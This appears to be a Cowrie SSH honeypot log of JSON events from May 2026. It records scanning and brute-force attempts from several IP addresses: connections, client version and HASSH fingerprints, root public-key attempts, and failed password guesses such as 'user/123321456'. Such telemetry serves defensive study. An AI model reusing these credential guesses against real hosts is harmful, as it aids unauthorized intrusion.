{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:b9:a0:30:61:2a:b3:7f:c1:1e:96:58:c9:e7:c5:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgcpiOmWTv+LhXFcsLXqPQDjRs+KG6PhHgIctlPYtQ15P5qWiEvOH0LObIQEOLOlKBuK93KXEoZf4ipCP1y4uuNCSbFL+C/pAW/hqPjm6OMI+aBxf2EalpihReaaFy52O6OuWdFxn+ES+q0Wm/ToKngMG7Uyv0hyz/lRS6wCP7aaT8stIMG5v2Cqh8GxopPg1+1I7K9qhUDf0ynLtwOzgS5CeiUbkbqwVOcJF7YDVRtWT1ZCA53vJWmoFRHgLc78iirMa7bq+jJ5L6ry7i8EG8/JTYHt8zymlroCZNP3wjh2ULchl0H2Y2wN4xeuIQWSoXXzKanW/wmkcgFc0DZrd/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.549953Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:40:17:9b:75:f5:11:a2:ef:24:1c:ea:45:35:8f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtD3uO8JV0REHBvZLwWnbWfe0LLDs1xTOYJZ/gJhmQFsNnTolicrwDw4Ufb7beMwZjbejnLgXY160HVL81iZh6OFHNoFTaEUikvulfe6LhOq4Pb0uM4mKtHGNwJrthF0iLY70rZSjvggi3V6FgfcHZ1kazZFJKDVdD38j2Eg9PmaTfN2mO6jaDqQviS+crg3IleMmEv4lUziOzmAEc7pM3dHOOn6pFQ3Etb+tC+PjOi9MIiWTsUIbSTSGvLiLP8HHHbFPV0Qj3S3Asqu/Kb9M3mLUjJrxUudRXa/WJvV/D2rIIRVnCCXM8pvxD8aXvqldm9MqJY0gpL9MFrB02OX+3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:40:17:9b:75:f5:11:a2:ef:24:1c:ea:45:35:8f:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.648025Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"78:40:17:9b:75:f5:11:a2:ef:24:1c:ea:45:35:8f:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtD3uO8JV0REHBvZLwWnbWfe0LLDs1xTOYJZ/gJhmQFsNnTolicrwDw4Ufb7beMwZjbejnLgXY160HVL81iZh6OFHNoFTaEUikvulfe6LhOq4Pb0uM4mKtHGNwJrthF0iLY70rZSjvggi3V6FgfcHZ1kazZFJKDVdD38j2Eg9PmaTfN2mO6jaDqQviS+crg3IleMmEv4lUziOzmAEc7pM3dHOOn6pFQ3Etb+tC+PjOi9MIiWTsUIbSTSGvLiLP8HHHbFPV0Qj3S3Asqu/Kb9M3mLUjJrxUudRXa/WJvV/D2rIIRVnCCXM8pvxD8aXvqldm9MqJY0gpL9MFrB02OX+3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.652048Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:a1:41:82:2f:f2:51:29:95:e2:55:1a:a5:6b:b7:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDgsm4VG27h5zkRf5j5+ReytJ8XN9skfMQnSOqk+383z7jLxGwTmiPHLY5gaUedgpXXQoEoPkJvykXAUd1VoCGqunrA4kPRPA50wgqJIoeSGpoCnARd/PzzWiEjvi6vq+spXhRMBxn3g+7otuzA6fAhHrsKeLtHxvOMFjDolc5qguCghsWmCHxuB+NJRYDjscjRqGSMwTDjyJFNWHVt/Vs2Iw4muQi1tl6/BPoPZodFQHN5bHayghWCsOpoVArvviGf5Q5qf5KcZ5EmFeDnwk4+KsYtGspSIV7MZf/r9X3HzdpqFSCfSR2M7YaBbgA4xnM12LGSItbCw+iB2tCG9uN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:a1:41:82:2f:f2:51:29:95:e2:55:1a:a5:6b:b7:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.759323Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:a1:41:82:2f:f2:51:29:95:e2:55:1a:a5:6b:b7:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDgsm4VG27h5zkRf5j5+ReytJ8XN9skfMQnSOqk+383z7jLxGwTmiPHLY5gaUedgpXXQoEoPkJvykXAUd1VoCGqunrA4kPRPA50wgqJIoeSGpoCnARd/PzzWiEjvi6vq+spXhRMBxn3g+7otuzA6fAhHrsKeLtHxvOMFjDolc5qguCghsWmCHxuB+NJRYDjscjRqGSMwTDjyJFNWHVt/Vs2Iw4muQi1tl6/BPoPZodFQHN5bHayghWCsOpoVArvviGf5Q5qf5KcZ5EmFeDnwk4+KsYtGspSIV7MZf/r9X3HzdpqFSCfSR2M7YaBbgA4xnM12LGSItbCw+iB2tCG9uN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.762533Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:01:19.875790Z","src_ip":"213.202.208.191","session":"fae29915fea9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.23","src_port":19538,"dst_ip":"10.17.0.5","dst_port":22,"session":"34f6990d8fe5","protocol":"ssh","message":"New connection: 92.118.39.23:19538 (10.17.0.5:22) [session: 34f6990d8fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:02:21.803365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:02:21.808651Z","src_ip":"92.118.39.23","session":"34f6990d8fe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:02:21.908230Z","src_ip":"92.118.39.23","session":"34f6990d8fe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:02:22.335757Z","src_ip":"92.118.39.23","session":"34f6990d8fe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.164.219","src_port":34974,"dst_ip":"159.203.135.109","dst_port":22,"session":"212b74e76aa9","protocol":"ssh","message":"New connection: 167.88.164.219:34974 (159.203.135.109:22) [session: 212b74e76aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.082007Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.087492Z","src_ip":"167.88.164.219","session":"212b74e76aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.164.219","src_port":34982,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cecfade1690","protocol":"ssh","message":"New connection: 167.88.164.219:34982 (159.203.135.109:22) [session: 1cecfade1690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.123727Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xc2\u0001\u0000\u0005\\xbe\u0003\u0003]\\xe5;W\\x82B\u0006\\xf2\\xc8\\xf1\\xee\\x94\\xc2\u0001\\\u0011\u0005&\\xd29`\\xe8\\xd8']++j\\xa1\\1O \\xcf\\xef:t\\xc9\be\u0003Hv\u0011\\xcc5\\x99o]\\xb4\\\\xd1B\\xe7\\xa1\\xf7\\xc6\\xd5F\u0016A\\xe1C\\x98","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xc2\u0001\u0000\u0005\\xbe\u0003\u0003]\\xe5;W\\x82B\u0006\\xf2\\xc8\\xf1\\xee\\x94\\xc2\u0001\\\u0011\u0005&\\xd29`\\xe8\\xd8']++j\\xa1\\1O \\xcf\\xef:t\\xc9\be\u0003Hv\u0011\\xcc5\\x99o]\\xb4\\\\xd1B\\xe7\\xa1\\xf7\\xc6\\xd5F\u0016A\\xe1C\\x98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.128918Z","src_ip":"167.88.164.219","session":"1cecfade1690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.133084Z","src_ip":"167.88.164.219","session":"1cecfade1690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.88.164.219","src_port":34996,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d35cc6adcf6","protocol":"ssh","message":"New connection: 167.88.164.219:34996 (159.203.135.109:22) [session: 8d35cc6adcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.210356Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.216846Z","src_ip":"167.88.164.219","session":"8d35cc6adcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:12.220791Z","src_ip":"167.88.164.219","session":"8d35cc6adcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.190","src_port":62566,"dst_ip":"159.203.135.109","dst_port":22,"session":"4affe8fb4559","protocol":"ssh","message":"New connection: 2.57.122.190:62566 (159.203.135.109:22) [session: 4affe8fb4559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:54.447596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:54.452691Z","src_ip":"2.57.122.190","session":"4affe8fb4559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:54.553400Z","src_ip":"2.57.122.190","session":"4affe8fb4559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:03:54.996400Z","src_ip":"2.57.122.190","session":"4affe8fb4559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"df1a2eb6bb2d","protocol":"ssh","message":"New connection: 103.15.226.202:42564 (10.17.0.5:22) [session: df1a2eb6bb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:04:30.468228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:04:30.472738Z","src_ip":"103.15.226.202","session":"df1a2eb6bb2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:04:30.720464Z","src_ip":"103.15.226.202","session":"df1a2eb6bb2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dell","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [dell/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:04:31.470099Z","src_ip":"103.15.226.202","session":"df1a2eb6bb2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:04:32.720741Z","src_ip":"103.15.226.202","session":"df1a2eb6bb2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48145,"dst_ip":"159.203.135.109","dst_port":22,"session":"acc51333c065","protocol":"ssh","message":"New connection: 2.57.121.25:48145 (159.203.135.109:22) [session: acc51333c065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:31.528950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:31.538286Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:31.633493Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123321456","message":"login attempt [user/123321456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:32.089072Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121292","message":"login attempt [user/121292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.188120Z","src_ip":"2.57.121.25","session":"acc51333c065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":5066,"dst_ip":"10.17.0.5","dst_port":22,"session":"0810ac97cc85","protocol":"ssh","message":"New connection: 192.95.10.204:5066 (10.17.0.5:22) [session: 0810ac97cc85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.293387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.300106Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.316700Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:59:5f:52:0a:02:21:31:90:64:2c:a2:2f:f4:e7:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7e8cdh7ktTAF5ZFBnPWsKcqD2LDnxPjETV5FSihI/AuiA6emDeSK7Wjhj8M3qwdjPp+zoegVsVYZQKk5DMJG0IHFLKNYE855f8556CHiUYLSwxD8CtKccG5eL1huPwkw3wVQD8xJ8/aP7xI3XPx8/4wIpJSKwgpmmiwjUYeipnsHoKgJfPzV7HaKivmLYHEN+5rtRlCTWt86T+v/pTbpNbki4uUi6m8Qlkw1NvMBPjdL3jrNbxjSRh8zWm4vPOXPYQE4dzRYbQ5+11MVqbO9qOGHnQ4TXx9yP0o47Jeau1zfbfD6vNgoVgvctp68Dtw7YSJY8ZQYdtG8glx9v8Ma1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:59:5f:52:0a:02:21:31:90:64:2c:a2:2f:f4:e7:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:05:33.395554Z","src_ip":"192.95.10.204","session":"0810ac97cc85","protocol":"ssh"}
